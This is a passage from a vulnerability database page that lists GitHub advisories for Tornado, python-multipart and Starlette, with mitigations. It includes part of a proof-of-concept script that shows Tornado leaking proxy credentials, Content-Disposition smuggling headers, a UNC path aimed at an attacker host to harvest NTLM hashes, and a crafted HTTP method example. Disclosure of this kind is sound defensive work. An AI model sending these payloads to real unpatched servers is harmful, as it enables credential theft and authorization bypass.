proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n proxy_username=\"alice\", proxy_password=\"secretA\",\n request_timeout=5, connect_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n \"http://target.example/b\",\n proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n request_timeout=5, connect_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n proxy_a.stop()\n proxy_b.stop()\n\n a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n print(f\"{\u0027request\u0027:\u003c42}{\u0027Proxy-Authorization seen by that proxy\u0027}\")\n print(f\"{\u0027-\u0027 * 42}{\u0027-\u0027 * 40}\")\n print(f\"{\u0027A -\u003e proxy A (alice:secretA specified)\u0027:\u003c42}{a or \u0027(none)\u0027}\")\n print(f\"{\u0027B -\u003e proxy B (NO credentials specified)\u0027:\u003c42}{b or \u0027(none)\u0027}\")\n print()\n if b and expected in b:\n print(f\"VERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials \"\n f\"({expected}) although request B specified no proxy_username.\")\n return 0\n print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n options on a shared `CurlAsyncHTTPClient` \u2014 for Vector A, mixing per-request\n `client_cert` requests with non-certificate requests; for Vector B,\n multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n handshake \u2014 proving possession of the private key and disclosing the\n certificate subject and chain \u2014 to a host that was never meant to receive it.\n For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n different proxy. If the unintended host/proxy is attacker-controlled or\n attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n endpoint, or a proxy chosen from user-controlled configuration), the credential\n is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched \u2014 see the\ncomment at lines 401-409 \u2014 so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.",
"id": "GHSA-pw6j-qg29-8w7f",
"modified": "2026-06-15T20:37:24Z",
"published": "2026-06-15T20:37:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse"
}
GHSA-V9PG-7XVM-68HF
Vulnerability from github – Published: 2026-06-15 20:23 – Updated: 2026-06-15 20:23Summary
parse_form() did not validate the Content-Length header before using it to bound its chunked read of the request body. A negative Content-Length turned the bounded read into a read-until-EOF, so the entire body was loaded into memory in a single read instead of in fixed-size chunks.
Details
parse_form() reads the input stream in chunks, never reading more than the remaining Content-Length at a time. The per-chunk size is computed as min(content_length - bytes_read, chunk_size). The header value was parsed to an integer without checking its sign, so a Content-Length of -1 made this expression negative, and input_stream.read(-1) reads until end of stream. The intended bounded, chunked read therefore collapsed into a single unbounded read of the whole stream. The amount read is still bounded by what the client actually sends.
Impact
This only affects code that calls parse_form() directly with a Content-Length header taken from attacker-controlled input and without normalizing a negative value first. No known package is affected:
- Starlette and FastAPI drive
MultipartParserdirectly from the ASGIreceive()stream and do not callparse_form(). - Known
parse_form()consumers either do not forwardContent-Lengthto it, recompute it from the already-read body, or run behind a layer (such as Werkzeug) that normalizes a negativeContent-Lengthto0.
The realistic exposure is limited to bespoke WSGI or http.server handlers that forward raw client headers into parse_form(). In that case a crafted request buffers the body in memory at once, degrading availability under concurrent requests rather than causing a complete denial of service.
Mitigation
Upgrade to version 0.0.31 or later, which rejects a negative Content-Length with a ValueError before reading the stream.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-multipart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53540"
],
"database_specific": {
"cwe_ids": [
"CWE-1284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:23:45Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\n`parse_form()` did not validate the `Content-Length` header before using it to bound its chunked read of the request body. A negative `Content-Length` turned the bounded read into a read-until-EOF, so the entire body was loaded into memory in a single read instead of in fixed-size chunks.\n\n### Details\n\n`parse_form()` reads the input stream in chunks, never reading more than the remaining `Content-Length` at a time. The per-chunk size is computed as `min(content_length - bytes_read, chunk_size)`. The header value was parsed to an integer without checking its sign, so a `Content-Length` of `-1` made this expression negative, and `input_stream.read(-1)` reads until end of stream. The intended bounded, chunked read therefore collapsed into a single unbounded read of the whole stream. The amount read is still bounded by what the client actually sends.\n\n### Impact\n\nThis only affects code that calls `parse_form()` directly with a `Content-Length` header taken from attacker-controlled input and without normalizing a negative value first. No known package is affected:\n\n* Starlette and FastAPI drive `MultipartParser` directly from the ASGI `receive()` stream and do not call `parse_form()`.\n* Known `parse_form()` consumers either do not forward `Content-Length` to it, recompute it from the already-read body, or run behind a layer (such as Werkzeug) that normalizes a negative `Content-Length` to `0`.\n\nThe realistic exposure is limited to bespoke WSGI or `http.server` handlers that forward raw client headers into `parse_form()`. In that case a crafted request buffers the body in memory at once, degrading availability under concurrent requests rather than causing a complete denial of service.\n\n### Mitigation\n\nUpgrade to version `0.0.31` or later, which rejects a negative `Content-Length` with a `ValueError` before reading the stream.",
"id": "GHSA-v9pg-7xvm-68hf",
"modified": "2026-06-15T20:23:45Z",
"published": "2026-06-15T20:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-v9pg-7xvm-68hf"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/python-multipart"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "python-multipart: Negative Content-Length in parse_form buffers the entire body in memory"
}
GHSA-VFFW-93WF-4J4Q
Vulnerability from github – Published: 2026-06-15 20:20 – Updated: 2026-07-15 22:06Summary
parse_options_header parsed Content-Disposition (and Content-Type) headers with email.message.Message, which transparently applies RFC 2231/5987 decoding. The extended parameter syntax (filename*=charset'lang'value, name*=..., and the filename*0/filename*1 continuation form) is decoded and surfaced under the bare filename/name key, and overrides the plain parameter when both are present. RFC 7578 §4.2 explicitly forbids the filename* form in multipart/form-data.
Components that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for multipart/form-data (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.
Details
Given both a plain and an extended parameter, the extended value won. For example:
Content-Disposition: form-data; name="comment"; name*=utf-8''role
An inspector following RFC 7578 sees the field comment, while the returned value was name=role. The same applies to filenames:
Content-Disposition: form-data; name="upload"; filename="safe.txt"; filename*=utf-8''evil.php
The inspector sees safe.txt, while the returned value was filename=evil.php. Continuation parameters (filename*0, filename*1, and so on) were likewise reassembled into a filename invisible to a plain filename= match, and percent encoded sequences in the extended value were decoded (so ..%2F, %00, and similar appeared in the returned filename).
This affects the high level parse_options_header, FormParser, create_form_parser, and parse_form APIs, and reaches Starlette/FastAPI through request.form(), where the smuggled value is exposed as the form field name or UploadFile.filename.
Impact
This is an interpretation conflict (CWE-436) with other multipart/form-data parsers. An attacker able to submit multipart/form-data can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded ..%2F sequences. Decoded control bytes such as %00 can likewise cause confusion between an upstream validator and the backend. The File class applies os.path.basename, so file writing through it is not directly affected.
Mitigation
Upgrade to python-multipart 0.0.30 or later, which ignores RFC 2231/5987 extended parameters (name*, filename*, and their continuations) so the plain name/filename parameter remains authoritative. RFC 7578 §4.2 forbids filename* for multipart/form-data; name* and the continuation forms are dropped for the same reason, since they are not valid multipart/form-data parameters either.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-multipart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53537"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:20:51Z",
"nvd_published_at": "2026-06-22T18:16:44Z",
"severity": "LOW"
},
"details": "### Summary\n\n`parse_options_header` parsed `Content-Disposition` (and `Content-Type`) headers with [`email.message.Message`](https://docs.python.org/3/library/email.compat32-message.html#email.message.Message), which transparently applies [RFC 2231](https://datatracker.ietf.org/doc/html/rfc2231)/[5987](https://datatracker.ietf.org/doc/html/rfc5987) decoding. The extended parameter syntax (`filename*=charset\u0027lang\u0027value`, `name*=...`, and the `filename*0`/`filename*1` continuation form) is decoded and surfaced under the bare `filename`/`name` key, and overrides the plain parameter when both are present. [RFC 7578 \u00a74.2](https://datatracker.ietf.org/doc/html/rfc7578#section-4.2) explicitly forbids the `filename*` form in `multipart/form-data`.\n\nComponents that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for `multipart/form-data` (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.\n\n### Details\n\nGiven both a plain and an extended parameter, the extended value won. For example:\n\n```\nContent-Disposition: form-data; name=\"comment\"; name*=utf-8\u0027\u0027role\n```\n\nAn inspector following RFC 7578 sees the field `comment`, while the returned value was `name=role`. The same applies to filenames:\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.txt\"; filename*=utf-8\u0027\u0027evil.php\n```\n\nThe inspector sees `safe.txt`, while the returned value was `filename=evil.php`. Continuation parameters (`filename*0`, `filename*1`, and so on) were likewise reassembled into a `filename` invisible to a plain `filename=` match, and percent encoded sequences in the extended value were decoded (so `..%2F`, `%00`, and similar appeared in the returned filename).\n\nThis affects the high level `parse_options_header`, `FormParser`, `create_form_parser`, and `parse_form` APIs, and reaches Starlette/FastAPI through `request.form()`, where the smuggled value is exposed as the form field name or [`UploadFile.filename`](https://www.starlette.io/requests/#request-files).\n\n### Impact\n\nThis is an interpretation conflict ([CWE-436](https://cwe.mitre.org/data/definitions/436.html)) with other `multipart/form-data` parsers. An attacker able to submit `multipart/form-data` can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded `..%2F` sequences. Decoded control bytes such as `%00` can likewise cause confusion between an upstream validator and the backend. The `File` class applies `os.path.basename`, so file writing through it is not directly affected.\n\n### Mitigation\n\nUpgrade to `python-multipart` `0.0.30` or later, which ignores RFC 2231/5987 extended parameters (`name*`, `filename*`, and their continuations) so the plain `name`/`filename` parameter remains authoritative. RFC 7578 \u00a74.2 forbids `filename*` for `multipart/form-data`; `name*` and the continuation forms are dropped for the same reason, since they are not valid `multipart/form-data` parameters either.",
"id": "GHSA-vffw-93wf-4j4q",
"modified": "2026-07-15T22:06:51Z",
"published": "2026-06-15T20:20:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-vffw-93wf-4j4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53537"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/python-multipart"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vffw-93wf-4j4q"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/blob/main/vulns/python-multipart/PYSEC-2026-3041.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/python-multipart"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "python-multipart: Content-Disposition parameter smuggling via RFC 2231/5987 extended parameters"
}
GHSA-WQP7-X3PW-XC5R
Vulnerability from github – Published: 2026-06-15 20:16 – Updated: 2026-06-15 20:16Summary
When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.
Details
StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.
This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.
Impact
Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.
Mitigation
Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48818"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:16:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\\\attacker.com\\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account\u0027s NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.\n\n### Details\n\n`StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.\n\nThis only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O.\n\n### Impact\n\nApplications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account\u0027s NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.\n\n### Mitigation\n\nApplications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.",
"id": "GHSA-wqp7-x3pw-xc5r",
"modified": "2026-06-15T20:16:30Z",
"published": "2026-06-15T20:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows"
}
GHSA-X746-7M8F-X49C
Vulnerability from github – Published: 2026-06-15 20:16 – Updated: 2026-07-09 21:05Summary
When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs.
When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.
Details
HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector.
Impact
An application is affected when all of the following hold:
- It defines an
HTTPEndpointsubclass and registers it viaRoute(...)without an explicitmethods=argument. - The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single
requestargument and return a response.
This also affects frameworks built on Starlette, like FastAPI.
Mitigation
Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48817"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:16:05Z",
"nvd_published_at": "2026-06-17T20:17:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs.\n\nWhen an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.\n\n### Details\n\n`HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector.\n\n### Impact\n\nAn application is affected when all of the following hold:\n\n* It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument.\n* The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response.\n\nThis also affects frameworks built on Starlette, like FastAPI.\n\n### Mitigation\n\nRegister `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute.",
"id": "GHSA-x746-7m8f-x49c",
"modified": "2026-07-09T21:05:46Z",
"published": "2026-06-15T20:16:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-x746-7m8f-x49c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48817"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/1.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.